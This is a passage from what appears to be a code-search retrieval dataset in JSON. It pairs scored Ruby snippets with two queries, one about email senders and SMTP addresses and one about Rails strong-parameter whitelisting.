)\n return [mailfrom, esmtp_info.split(\"\\0\")]\n end", "title": "" }, { "docid": "9f7322a9e9385a586c3dac94b8166d85", "score": "0.59287846", "text": "def to_s\n formatted_email\n end", "title": "" }, { "docid": "980eef1bfb7a9c1dea27a74d90183f14", "score": "0.58652395", "text": "def from_email\n EmailAddress.find(:all).first\n end", "title": "" }, { "docid": "2ec7812d7cdbeaf6a3908500b1fd27e4", "score": "0.58442175", "text": "def mailboxer_email(object)\n email\n end", "title": "" }, { "docid": "2ec7812d7cdbeaf6a3908500b1fd27e4", "score": "0.58442175", "text": "def mailboxer_email(object)\n email\n end", "title": "" }, { "docid": "98b4ea03d217047fc2d077d33b297f89", "score": "0.58313435", "text": "def mail_nickname\n return @mail_nickname\n end", "title": "" }, { "docid": "274dba7402a5793999d687a4c3861dc2", "score": "0.58099556", "text": "def sender_obscured\n if sender.blank? or !topica_message_id.blank?\n return sender\n end\n \n sender_parts = sender.split(\"@\")\n if sender_parts.size > 1\n user_name = sender_parts.first\n if user_name.length > 2\n return user_name[0..(user_name.length - 3)] + \"..@\" + sender_parts.last\n else\n return \"..@\" + sender_parts.last\n end\n end\n \n return sender\n end", "title": "" }, { "docid": "41c73f8bb29575f3ad63ddae04492ab3", "score": "0.58061135", "text": "def mailboxer_email(_object)\n email\n end", "title": "" }, { "docid": "29f2dcd15866b428d5429ecf2c2c9618", "score": "0.57994395", "text": "def ezm_sender_or_receiver_label\r\n if session[:mail_box] == \"outbox\"\r\n \"Recipient\"\r\n # Used for both inbox and trashbin\r\n else\r\n \"Sender\"\r\n end\r\n end", "title": "" }, { "docid": "02376727ba6e5db3e682c6576d65d061", "score": "0.57932645", "text": "def formatted_email\n \"#{name} <#{email}>\"\n end", "title": "" }, { "docid": "d056e8fedd8f98206fefd358bb0ae3c7", "score": "0.5790035", "text": "def formatted_email\n \"#{@name} <#{@email}>\"\n end", "title": "" }, { "docid": "54ba06ca60ea4a88cf7c5efcf5529087", "score": "0.5786162", "text": "def sender_name\n @stanza.from.resource\n end", "title": "" }, { "docid": "6279c5ac901dc3f536e1474e0a5ca6a0", "score": "0.5781049", "text": "def sender_email_to_title_and_name\n known_emails = [Notifier.help_email, Notifier.search_filter_email, Notifier.message_email, Notifier.signup_email,\n Notifier.newsletter_email, Notifier.admin_email, Notifier.contact_email, Notifier.info_email,\n Notifier.feedback_email, Notifier.press_email].map {|m| Notifier.unprettify(m)}\n if known_emails.include?(self.sender_email)\n \"kann-ich-klagen.de\"\n elsif ps = Person.find_by_email(self.sender_email)\n ps.title_and_name\n else\n self.sender_email\n end\n end", "title": "" }, { "docid": "6dea73f6f4c5a19745fa2a50325ada08", "score": "0.577098", "text": "def email_address\n \"CoursAvenue <#{token}@#{CoursAvenue::Application::MANDRILL_REPLY_TO_DOMAIN}>\"\n end", "title": "" }, { "docid": "b652160dd5dea8f9e2ec9fbe761d1815", "score": "0.5750317", "text": "def ezm_sender_or_receiver(message)\r\n if session[:mail_box] == \"outbox\"\r\n message.receiver_name\r\n # Used for both inbox and trashbin\r\n else\r\n message.sender_name\r\n end\r\n end", "title": "" }, { "docid": "d90d64cee63ba5d4a6e87d0602b86733", "score": "0.5745695", "text": "def sender\n ENV['NOTIFICATION_FROM_EMAIL'] || 'noreply@some.gov'\n end", "title": "" }, { "docid": "aca65624cde3deb3ef329557320378c3", "score": "0.57400584", "text": "def smtp_envelope_from( val = nil )\n if val\n self.smtp_envelope_from = val\n else\n @smtp_envelope_from || return_path || sender || from_addrs.first\n end\n end", "title": "" }, { "docid": "c69920da2a4eb2c99074c0c31bb4f381", "score": "0.5734056", "text": "def mailer_to\n resolve_value(_notification_email)\n end", "title": "" }, { "docid": "0615ac2ae9c205d8161d0c3c7bdc2ca8", "score": "0.57300323", "text": "def email(value)\n merge(email: value.to_s)\n end", "title": "" }, { "docid": "7fd62522fddea14590f362d791719144", "score": "0.57193536", "text": "def email_address\n authentications.emails.active.first.uid rescue nil\n end", "title": "" }, { "docid": "ebe1cd6197212a70e4c45611ba4f439e", "score": "0.57187885", "text": "def get_from_exp\n\n return nil if self.from_address.nil?\n\n from_exp = \"<#{self.from_address}>\"\n\n unless self.from_name.nil? or self.from_name.empty?\n from_exp = \"#{self.from_name} #{from_exp}\"\n end\n\n return from_exp\n end", "title": "" }, { "docid": "8ed98bd24971f40d674ddff6c72f7e11", "score": "0.56968355", "text": "def primary_smtp_address\n return @primary_smtp_address\n end", "title": "" }, { "docid": "a10d0c10d30b21050dc5f206092cc880", "score": "0.5682548", "text": "def recipient_name\n recipient.name if recipient\n end", "title": "" }, { "docid": "591a5b793d99d94a92bd43f62ef7dd05", "score": "0.5679051", "text": "def email\n\t\tif self.email_address\n\t\t\tself.email_address.email\n\t\telse\n\t\t\tself.user.email\n\t\tend\n\tend", "title": "" }, { "docid": "ad2b11e72d03aefa918be405433bb214", "score": "0.56641114", "text": "def email_address\n self.dig_for_string(\"agentSummary\", \"emailAddress\")\n end", "title": "" }, { "docid": "b7632c2df0d56223d9bb6b8e8fbbc67c", "score": "0.56587404", "text": "def the_sender_name\n sender.full_name(false, created_at)\n end", "title": "" }, { "docid": "8a00d5ba1571b970ca9f9296e374a672", "score": "0.5631427", "text": "def address\n @address ||= Mail::Address.new(self.to_s) rescue nil\n end", "title": "" }, { "docid": "ac0d4bb3a4bd97f318e52b5216282fef", "score": "0.5631166", "text": "def process_mail_from params\n # Requiring TLS is touchy, cf RFC2784.\n # Requiring AUTH seems to be much more reasonable.\n #if (options[:starttls] == :required and !@state.include?(:starttls))\n # reply 550, \"This server requires STARTTLS before MAIL FROM\"\n #elsif (options[:auth] == :required and !@state.include?(:auth))\n # reply 550, \"This server requires authentication before MAIL FROM\"\n if @state.include?(:mail_from)\n reply 503, \"Sender already given\"\n return\n end\n \n if params.nil?\n reply 501, \"Syntax: MAIL FROM:<address>\"\n return\n end\n \n reverse_path, mail_parameters = params.split(' ', 2)\n if reverse_path !~ /@|<>/ # valid email or empty sender (<>)\n reply 501, \"Syntax: MAIL FROM:<address>\"\n # RET=[FULL|HDRS], ENVID=, BODY=[8BITMIME|7BIT]\n elsif !receive_sender(unbracket(reverse_path))\n reply 550, \"sender is unacceptable\"\n else\n reply 250, \"Ok\"\n @state << :mail_from\n end\n end", "title": "" }, { "docid": "0ffcc0148d8bb169704476d538796077", "score": "0.5624852", "text": "def email_name\n @email_name || if self[:email]\n split_host = URI.parse(\"#{self[:email]}\").path.split('@')\n \"#{split_host.first}\" if 2 == split_host.size\n end\n rescue URI::InvalidURIError\n nil\n end", "title": "" }, { "docid": "5963953c13f325988aefe3ae9adc4c7c", "score": "0.56179464", "text": "def as_email_to\n return email if name.nil?\n\n %(#{name} <#{email}>)\n end", "title": "" }, { "docid": "162b14dcb8aaf944c8bbb3040fed2fc3", "score": "0.56106466", "text": "def contact_email\n\t\treturn get_configuration['sa_contact_email']\n\tend", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "00cb829d21343c9d6313a8e0f9f9d0ac", "score": "0.5607212", "text": "def to_s\n email\n end", "title": "" }, { "docid": "74bd77fb59f25d4086681acb7da68a09", "score": "0.5605221", "text": "def sender\n @payload['sender']\n end", "title": "" }, { "docid": "de629c7b9bcaf1d25f6af30060692b3e", "score": "0.5591265", "text": "def email_address\n raw_info['email_addresses'] && raw_info['email_addresses'].first\n end", "title": "" }, { "docid": "184acd0edb801552c8201a13fa5f9ca3", "score": "0.5587162", "text": "def email_address\n element_with_value('EMailAddress', opts[:email_address].to_s[0..50])\n end", "title": "" }, { "docid": "59df643b1b6f2240e2e1532c6761a359", "score": "0.55828667", "text": "def to_s\n email\n end", "title": "" }, { "docid": "f61cab475017a1622139ec191a43a816", "score": "0.5574146", "text": "def from\n address_list_fetch('from')\n end", "title": "" }, { "docid": "90ec463f8019a11f12fc735bf71235f4", "score": "0.5573778", "text": "def mailboxer_email(object)\n\t email\n\tend", "title": "" }, { "docid": "deece8e13fa17fbc2810369611e1b38e", "score": "0.5569776", "text": "def formatted_email\n\t\t# because @name and @email are both instance variables, they are available in formatted_email\n\t\t\"#{@name} <#{@email}>\"\n\tend", "title": "" }, { "docid": "14249fa8fe93e802072cf06755c3aac5", "score": "0.5559792", "text": "def to_s\n\t\temail\n\tend", "title": "" }, { "docid": "a718b9b83048ad80b8b6d038be1c4379", "score": "0.5559526", "text": "def update_sender\n if !@from_name.blank? and from_email_address and !@from_email_address.empty? and !(@from_name.to_s == @from_email_address.to_s )\n self.sender = \"#{@from_name} <#{@from_email_address}>\"\n else\n self.sender = @from_email_address.to_s\n end\n end", "title": "" }, { "docid": "ac19851e89380f6f3bd355d2bdf808db", "score": "0.55499727", "text": "def formatted_email(contact)\n \"#{contact.username} <#{contact.email}>\"\n end", "title": "" }, { "docid": "222d7c9706f981a1a2158c03a0a3d4fa", "score": "0.55256677", "text": "def from\r\n from = task.template.nil? ? task.from : task.template.from\r\n if from == 'BombSquad'\r\n return self.rep_email\r\n else\r\n return from\r\n end\r\n end", "title": "" }, { "docid": "2389c08085b7c77bda6969ecb244a6c9", "score": "0.55088097", "text": "def mbox_from\n @mbox_from\n end", "title": "" }, { "docid": "bfe2499291b8f68c69b09d6d3b2514a9", "score": "0.550276", "text": "def sender\n user = User.find_by_id(sent_by)\n \"#{user.first_name} #{user.last_name}\"\n end", "title": "" }, { "docid": "c32a9206d1e3b385d691f07454d0ad2d", "score": "0.5493972", "text": "def email_address\n get_attribute(Yoti::Attribute::EMAIL_ADDRESS)\n end", "title": "" }, { "docid": "4ad8c24773d82b05e7a3b47b83693f5c", "score": "0.5487648", "text": "def recipient_domain\n self.rcpt_to ? self.rcpt_to.split('@').last : nil\n end", "title": "" }, { "docid": "4ad8c24773d82b05e7a3b47b83693f5c", "score": "0.5487648", "text": "def recipient_domain\n self.rcpt_to ? self.rcpt_to.split('@').last : nil\n end", "title": "" }, { "docid": "6e5fe0f9bc68d9bace0cfc54d8340eef", "score": "0.54800457", "text": "def recipient_full_name\n ship_address.first_name + ' ' + ship_address.last_name\n end", "title": "" }, { "docid": "20da050104cbb05b908cc3bac9b74831", "score": "0.5476773", "text": "def text_message_default_sender\n current_params.fetch(:from)\n end", "title": "" }, { "docid": "6f70d40926ce55dee876ab627be736d4", "score": "0.54754585", "text": "def sender_message\n return @sender_message\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "535d086a36e32c0643260200214761d3", "score": "0.0", "text": "def resolucao_params\n params.require(:resolucao).permit(:resposta, :exercicio_id)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize 